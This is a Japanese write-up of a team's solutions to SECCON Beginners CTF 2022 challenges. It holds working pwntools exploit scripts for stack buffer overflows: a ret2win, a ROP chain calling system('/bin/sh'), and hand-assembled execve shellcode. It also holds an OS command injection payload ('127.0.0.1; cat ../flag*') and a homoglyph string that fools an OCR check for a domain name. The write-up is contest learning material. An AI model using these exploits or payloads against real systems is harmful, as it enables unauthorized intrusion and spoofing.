SECCON Beginners CTF 2022 Writeup

はじめに

RonWizardleyというチームで参加し,85/891位でした.

pwn

BeginnersBof

方針

問題のソースコードを確認すると,win関数を呼びだせるとフラグが見れそうだとわかる. また,最初に入力した数値の大きさだけfgetsの入力が許されることから,fgets関数においてBOFの脆弱性がある. このため,fgetsを用いてmain関数のリターンアドレスをwinのアドレスに書き換えることを考える.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
	err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
	ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

手順

1.スタックの配置とwinのアドレスを調べる

スタックの配置とwinのアドレスを調べるために,gdbを用いる.

gef➤  info addr win
Symbol "win" is at 0x4011e6 in a file compiled without debugging.

winのアドレスは 0x4011e6

gef➤  dps
0x00007fffffffdc80│+0x0000: "aaaaaaaaaaaa\n"     ← $rax, $rsp, $r8
0x00007fffffffdc88│+0x0008: 0x0000000a61616161 ("aaaa\n"?)
0x00007fffffffdc90│+0x0010: 0x00007fffffffdd90  →  0x0000000000000001
0x00007fffffffdc98│+0x0018: 0x0a00000000002710
0x00007fffffffdca0│+0x0020: 0x0000000000000000     ← $rbp
0x00007fffffffdca8│+0x0028: 0x00007ffff7de20b3  →  <__libc_start_main+243> mov edi, eax

How long is your name? に対して 10000 を入力し, What's your name? に対して a を12個入力したときのスタック

$rsp を基準にすると, $rsp から buf の配列が 0x16 byte, $rsp+0x0018 から len の変数(中身は 10000(0x2710) )が格納されている. $rbp$rsp+0x0020 を指していることから, saved_rbp の次のアドレスである $rsp+0x0028 にリターンアドレスが格納されている.

2.リターンアドレスをwinのアドレスに書き換える

まず, buf からリターンアドレスが格納されるアドレスまでの距離を数える. 1.の調査結果から,リターンアドレスが格納されるアドレスまでの距離は, 0x0028 であるため, a0x0028 個挿入し,その後ろにwinのアドレスである 0x4011e6 をエンディアンに気をつけて挿入する.

solver

import sys
from pwn import *

# bin_file = './chall'
context(os = 'linux', arch = 'amd64')

win_addr = 0x00000000004011e6

def attack(conn, **kwargs):
    buf1 = b'10000'
    conn.sendlineafter(b'name?', buf1)
    buf2 = b'a'*0x28+pack(win_addr)
    conn.sendlineafter(b'name?', buf2)


def main():
    conn = remote('beginnersbof.quals.beginners.seccon.jp', 9000)
    # conn = process(bin_file)
#     conn = gdb.debug(bin_file, '''
#     break main
# ''')
    attack(conn)
    conn.interactive()


if __name__ == '__main__':
    main()

実行結果

$ python ../BeginnersBof/solve.py
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
[*] Switching to interactive mode

Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}


raindrop

方針

問題のソースコードを確認すると, buf サイズが 0x10 にかかわらず, read0x30 byteまで入力可能なBOFがある. ROPでシェルとってくれと言わんばかりに system 関数があるので,これの引数に /bin/sh を渡すことを考えてROPを組む.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
	unsigned long *p = &((unsigned long*)ptr)[i];
	printf(" %06d | 0x%016lx ", i, *p);
	if (p == ptr)
	    printf(" <- buf");
	if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
	    printf(" <- saved rbp");
	if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
	    printf(" <- saved ret addr");
	puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}

手順

1.スタックの配置を調べる

BiginnersBofと同様にgdbを用いてスタックの配置を確認する. リターンアドレスの格納アドレスを特定し,ここを書き換えてROPの起点にする. 調査すると, $rsp からリターンアドレスの格納場所まで 0x18 byteであることがわかる.

2.ROPを組む

シェルを起動するためのROPガジェットを集める. 方針の通り,system関数のアドレスと,これに渡す引数のアドレスがあればよい. x64において,引数は rdi->rsi->rdx->r10->r8->r9 の順番で渡されるため, pop rdi のガジェットがあれば,systemの第一引数に任意のアドレスが設定可能となる.

$ objdump -d -M intel chall | grep system
00000000004010a0 <system@plt>:
  4010a4:	f2 ff 25 75 2f 00 00 	bnd jmp QWORD PTR [rip+0x2f75]        # 404020 <system@GLIBC_2.2.5>
  4011e5:	e8 b6 fe ff ff       	call   4010a0 <system@plt>

$ objdump -d -M intel chall | grep -a1 "5f" | grep -b1 c3
385-  401452:	41 5f                	pop    r15
428:  401454:	c3                   	ret

objdumpコマンドでsystem関数のアドレスとROPガジェットを探す. systemは 0x4011e5pop rdi はバイナリで 5f c3 であるため,これを探すと 0x401453 にガジェットが見つかる.

3./bin/shを埋め込む

あとは /bin/sh のアドレスをスタックに積めればシェルが起動できそうだが,肝心の /bin/sh の文字列はプログラム中に存在しないため,どこかに埋め込む必要がある. 埋め込む場所の候補としては,スタックと書き込み権限のある領域(.bss領域とか)が考えられるが,今回はROPガジェット少なく,またBOFの制限がきついため後者の方はできそうにない.

そこで,プログラムを注視すると, show_stack関数から, saved_rbp の値が漏洩していることに気づく.これを利用すれば,現在のスタックのアドレスが特定できるため, スタックに書き込んだ /bin/sh を指定することができる.

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x00007ffe2fddf5b0  <- saved rbp <-これを利用する
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000

このとき,漏洩している saved_rbp はvuln関数を呼びだしているmainのものであるため,そこから現在のスタックのアドレスを求めればよい.

|                 |        |
|-----------------|<- rsp -+----------+--
| Loval variables |        |          |
|    0x10 byte    |        |          |
|-----------------|<- rbp  |          |
| saved_rbp       |--+    vulu    0x20 byte
|-----------------|  |     |          |
| return addr     |  |     |          |
|-----------------|<-+    -+----------+--
| saved_rbp       |        |
|-----------------|       main
| return addr     |        |
|-----------------|       -+-
|                 |        |

この図のように,main関数では,スタックは確保されていないため,リターンアドレスと saved_rbp とvulnで確保した 0x10 byteの合計 0x20 バイトだけ 漏洩している saved_rbp から引けば, buf のアドレス求まる.

これで, /bin/sh と残りを \x00 で埋めた文字列を a のパディングの代わりに挿入すると, /bin/sh の挿入も完了するため,ROPチェインにこのアドレスを組み込む.

solver

import sys
from pwn import *

bin_file = './chall'
context(os = 'linux', arch = 'amd64')

system_addr = 0x4011e5
pop_rdi = 0x401453

def attack(conn, **kwargs):
    #saved_rbpの値を取得してstackのアドレスを特定
    conn.recvuntil(b'000002 | ')
    saved_rbp = conn.recv(18)
    print(saved_rbp, 0)
    buf_addr = int(saved_rbp, 0) - 0x20 # 0x20はrbpとsaved_rbpの差分

    buf1  = b'/bin/sh'.ljust(0x18, b'\00')
    buf1 += pack(pop_rdi)
    buf1 += pack(buf_addr)
    buf1 += pack(system_addr)

    conn.sendlineafter(b'understand?', buf1)


def main():
    conn = remote('raindrop.quals.beginners.seccon.jp', 9001)
    # conn = process(bin_file)
#     conn = gdb.debug(bin_file, '''
#     break main
# ''')
    attack(conn)
    conn.interactive()


if __name__ == '__main__':
    main()

実行結果

$ python solve.py
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
b'0x00007ffdd5b43e30' 0
[*] Switching to interactive mode

bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x0000000000000000
 000002 | 0x0000000000000000  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffdd5b43e10
finish
$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}


snowdrop

方針

ソースコードを見てみると,raindropとBOFの位置は同じだが,sysytem関数とvuln関数がなくなっている.このため,raindropと同じ解法はできない. また,checksecしたところ,NXが無効であることから,スタックへのシェルコードの挿入と実行を考える.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void show_stack(void *);

int main() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    gets(buf);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 8; i++) {
	unsigned long *p = &((unsigned long*)ptr)[i];
	printf(" %06d | 0x%016lx ", i, *p);
	if (p == ptr)
	    printf(" <- buf");
	if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
	    printf(" <- saved rbp");
	if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
	    printf(" <- saved ret addr");
	puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

手順

1.スタックのアドレスを特定する

raindropと異なり, saved_rbp からスタックのアドレスを特定する方法は使用できない. しかし,gdbでプログラムを実行してスタックを見てみると,show_stack関数の6番目の出力から スタックのアドレスが漏洩していることがわかる.

このため,漏洩しているスタックのアドレスと $rsp の差分を計算する. 0x00007fffffffdda8-0x00007fffffffdb40=0x268 より,漏洩しているアドレスから 0x268 byteだけ減算すると,現在の $rsp がわかる.

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x0000000000404260  <- saved rbp
 000003 | 0x0000000000403a92  <- saved ret addr
 000004 | 0x0000000000000000
 000005 | 0x0000000100000000
 000006 | 0x00007ffedddc5d68
 000007 | 0x0000000000401905

gef➤  dps
0x00007fffffffdb40│+0x0000: 0x0000000000000000     ← $rax, $rsp, $rdi
0x00007fffffffdb48│+0x0008: 0x0000000000000000
0x00007fffffffdb50│+0x0010: 0x0000000000404260  →  <__libc_csu_init+0> endbr64      ← $rbp
0x00007fffffffdb58│+0x0018: 0x0000000000403a92  →  <__libc_start_main+3906> mov edi, eax
0x00007fffffffdb60│+0x0020: 0x0000000000000000
0x00007fffffffdb68│+0x0028: 0x0000000100000000
0x00007fffffffdb70│+0x0030: 0x00007fffffffdda8  →  0x00007fffffffe125
0x00007fffffffdb78│+0x0038: 0x0000000000401905  →  <main+0> push rbp
0x00007fffffffdb80│+0x0040: 0x0000000000040000
0x00007fffffffdb88│+0x0048: 0x0000000000000000

2.シェルコードを作成する

raindropでは,system関数が存在したため, /bin/sh を挿入するだけでよかったが,今回はsystem関数が存在しないため, execve("/bin/sh", {"/bin/sh", NULL}, NULL) を実行するシェルコードを作成する.

シェルコードは, shellcraft.sh() で作れたりググるとでてきたりするが,せっかくなので後学のため自力で作成しておく.

まず,シェルコードには区切り文字が入らないようにする必要がある. このため, /bin/sh の末尾が \x00 で埋まらないように, /bin//sh とすることで調整する.

次に, /bin//sh をバイナリに変換する.

$ echo "/bin//sh" | od -tx8z
0000000 68732f2f6e69622f 000000000000000a  >/bin//sh.<

これより, /bin//sh の文字列は 0x68732f2f6e69622f であることがわかる. このとき,バイナリには終端文字は含まれていないことに注意する.

execveのシステムコール番号は 59 であるため, $rax59$rdi/bin//sh のアドレス, $rsi{"/bin//sh", NULL} のアドレス, $rdx0 を入れた状態で syscall 呼ぶシェルコードを作成すれば良い.

作成したシェルコード

BITS 64
global _start
_start:
	xor rdx, rdx                ;rdx = 0
	push rdx                    ;"/bin//sh"の終端文字
	mov rax, 0x68732f2f6e69622f ;rax = "/bin//sh"
	push rax                    ;rsp = "/bin//sh"のアドレス
	mov rdi, rsp                ;rdi = "/bin//sh"のアドレス
	push rdx                    ;
	push rdi                    ;rsp = {"/bin//sh", NULL}
	mov rsi, rsp                ;rsi = {"/bin//sh", NULL}のアドレス
	lea rax, [rdx+59]           ;rax = 59
	syscall                	    ;execve("/bin//sh", {"/bin//sh", NULL}, NULL)

push が発生したときのスタックの遷移図

push rdx           push rax           push rdx              push rdi
		   mov rdi, rsp                             mov rsi, rsp
|--------|<-rsp    |--------|<-rsp,rdi  |--------|<-rsp     |----------------|<-rsp,rsi
| \x00   |         | "/bin" |           | NULL   |          | "/bin/sh" addr |
|--------|         | "//sh" |           |--------|<-rdi     |----------------|
|        |   -->   |--------|    -->    | "/bin" |    -->   | NULL           |
		   | \x00   |           | "//sh" |          |----------------|<-rdi
		   |--------|           |--------|          | "/bin"         |
		   |        |           | \x00   |          | "//sh"         |
					|--------|          |----------------|
					|        |          | \x00           |
							    |----------------|
							    |                |

作成したスクリプトを実行し,動作確認する.

$ objdump -d -M intel shellcode.out

shellcode.out:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 d2                xor    rdx,rdx
  401003:       52                      push   rdx
  401004:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  40100b:       2f 73 68
  40100e:       50                      push   rax
  40100f:       48 89 e7                mov    rdi,rsp
  401012:       52                      push   rdx
  401013:       57                      push   rdi
  401014:       48 89 e6                mov    rsi,rsp
  401017:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  40101b:       0f 05                   syscall

$ nasm -f elf64 shellcode.s -o shellcode.o && ld shellcode.o -o shellcode.out
$ ./shellcode.out

手元で動作確認できれば,objdumpの出力結果を元に,シェルを起動するコードをバイナリに変換する.

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

3.シェルコードが起動するようにスタックを書き換える

2.で作成したシェルコードを起動するため,スタックに配置する.このとき,リターンアドレスがシェルコードの先頭を指す必要があるため, 1.で計算した $rsp の値を用いてシェルコードの先頭アドレスを計算する.

|                 |        |
|-----------------|<- rsp -+----------+--
| Loval variables |        |          |
|    0x10 byte    |        |          |
|-----------------|<- rbp  |          |
| saved_rbp       |       main    0x268 byte
|-----------------|        |          |
| return addr     |        |          |
|-----------------|       -+-         |
|                 |        |          |
|  leaked addr    |--+     |          |
|                 |  |     |          |
|                 |<-+    -+----------+---

リターンアドレスが格納されるアドレスのすぐ下にシェルコードを格納した場合,その先頭アドレスは, leaked addr-0x248 となる. その計算結果をBOFを用いてリターンアドレスの場所に格納すると,main関数の終了後にシェルコードが起動する.

|                |
|----------------|<- rsp
|                |
|   'a'*0x18     |
|                |<- rbp
|                |
|----------------|
| shellcode addr |--+
|----------------|<-+
|                |
|   shellcode    |
|                |

solver

import sys
from pwn import *

bin_file = './chall'
context(os = 'linux', arch = 'amd64')

shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

def attack(conn, **kwargs):
    #saved_rbpの値を取得してstackのアドレスを特定
    conn.recvuntil(b'000006 | ')
    saved_rbp = conn.recv(18)
    print(saved_rbp)
    shellcode_addr = int(saved_rbp, 0) - 0x248 # 0x248はreturn addrとleaked addrの差分

    # buf1  = b'/bin/sh'.ljust(0x18, b'\00')
    buf1  = b'a'*0x18
    buf1 += pack(shellcode_addr)
    buf1 += shellcode

    conn.sendlineafter(b'understand?', buf1)


def main():
    conn = remote('snowdrop.quals.beginners.seccon.jp', 9002)
    # conn = process(bin_file)
#     conn = gdb.debug(bin_file, '''
#     break main
# ''')
    attack(conn)
    conn.interactive()


if __name__ == '__main__':
    main()

実行結果

$ python solve.py
[+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done
b'0x00007ffd7daa5e68'
[*] Switching to interactive mode

bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x6161616161616161  <- buf
 000001 | 0x6161616161616161
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x00007ffd7daa5c20  <- saved ret addr
 000004 | 0x622fb84852d23148
 000005 | 0x485068732f2f6e69
 000006 | 0x48e689485752e789
 000007 | 0x000000050f3b428d
finish
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{h1ghw4y_t0_5h3ll}

ctf4b{h1ghw4y_t0_5h3ll}


Web

Util

方針

配布されたコードを読むと,サーバは入力されたIPをpingの文字列と結合してOSで実行してることから OSコマンドインジェクションの脆弱性があることがわかる.このため,html側の入力制限を回避すれば, cat を実行できそう.

手順

1.入力制限を回避する

Developper Toolでhtmlファイルを見てみると,JavaScriptによりフォームからの入力が制限されている箇所がみつかる.

if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
  ...
  }

このif文により入力制限がかかってるため,if文の条件を true に書き換えた新しい send() をconsoleで定義する.

2. OSコマンドインジェクションする

フラグのファイルはルート直下にあるため,一つディレクトリを遡り,ワイルドカード利用してフラグを表示するための入力を用意する.

サーバで動いてるプログラムのOSコマンドを実行する箇所は以下であり,

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"

param.Address に入力がそのまま入るため,

127.0.0.1; cat ../flag*

をフォームに入力し,その後 send() を実行する.

実行結果

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.077 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.077/0.077/0.077 ms
ctf4b{al1_0vers_4re_i1l}

ctf4b{al1_0vers_4re_i1l}


misc

phiser

方針

ソースコードを見てみると,入力を画像にした後,その画像を pyorc で文字列を読み取り, www.example.com の文字列と比較を行い, www.example.com に使用されている文字以外での入力ならばフラグが出力される. このため, www.example.com と誤認させるような入力を作ってあげればよい.

import os
import pyocr
import random
import string
import cv2 as cv
import numpy as np
from PIL import ImageFont, ImageDraw, Image


flag = os.getenv("CTF4B_FLAG")

fqdn = "www.example.com"

# TEXT to PNG
def text2png(text:str) -> str:
    os.makedirs("phish", exist_ok=True)
    filename = "".join([random.choice(string.ascii_letters) for i in range(15)])
    png = f"phish/{filename}.png"
    img = np.full((100, 600, 3), 0, dtype=np.uint8)
    font = ImageFont.truetype("font/Murecho-Black.ttf", 64)
    img_pil = Image.fromarray(img)
    ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :)
    img = np.array(img_pil)
    cv.imwrite(png, img)
    return png

# PNG to TEXT (OCR-English)
def ocr(image:str) -> str:
    tool = pyocr.get_available_tools()[0]
    print(tool)
    text = tool.image_to_string(Image.open(image), lang="eng")
    os.remove(image)
    if not text:
	text = "???????????????"
    return text

# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
    input_fqdn = input("FQDN: ")[:15]
    ocr_fqdn = ocr(text2png(input_fqdn))
    if ocr_fqdn == fqdn: # [OCR] OK !!!
	for c in input_fqdn:
	    if c in fqdn:
		global flag
		flag = f"\"{c}\" is included in \"www.example.com\" ;("
		break
	print(flag)
    else: # [OCR] NG
	print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")

if __name__ == "__main__":
    print("""       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \\
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\\
|_|
""")
    phishing()

手順

ひたすら UnicodeのWikipediaとか句読点のサイトとか見ながらアルファベットとドットに似た文字を探す.

2時間程度格闘した後,手元でocrをだませた入力がこれ.

ωωω․ę×αмρ|ę․çом

せっかくなので目でも比較してみる.

実行結果

$ nc phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ωωω․ę×αмρ|ę․çом
ctf4b{n16h7_ph15h1n6_15_600d}

ctf4b{n16h7_ph15h1n6_15_600d}


h2

方針

pcapファイルが配られるので,Wiresharkで中身をみてフラグをみつける.

手順

配布されてる main.go を見ると,HEADERの x-flag っていう項目にフラグを置いてるぽいので, 先にプロトコルを http2 に絞り,Packet details→Stringで x-flag を検索する.

実行結果

ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}


Welcome

ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}


おわりに

ヒープから逃げてごめんなさい.

mc4nf
mc4nf

軽率にFollow me!:)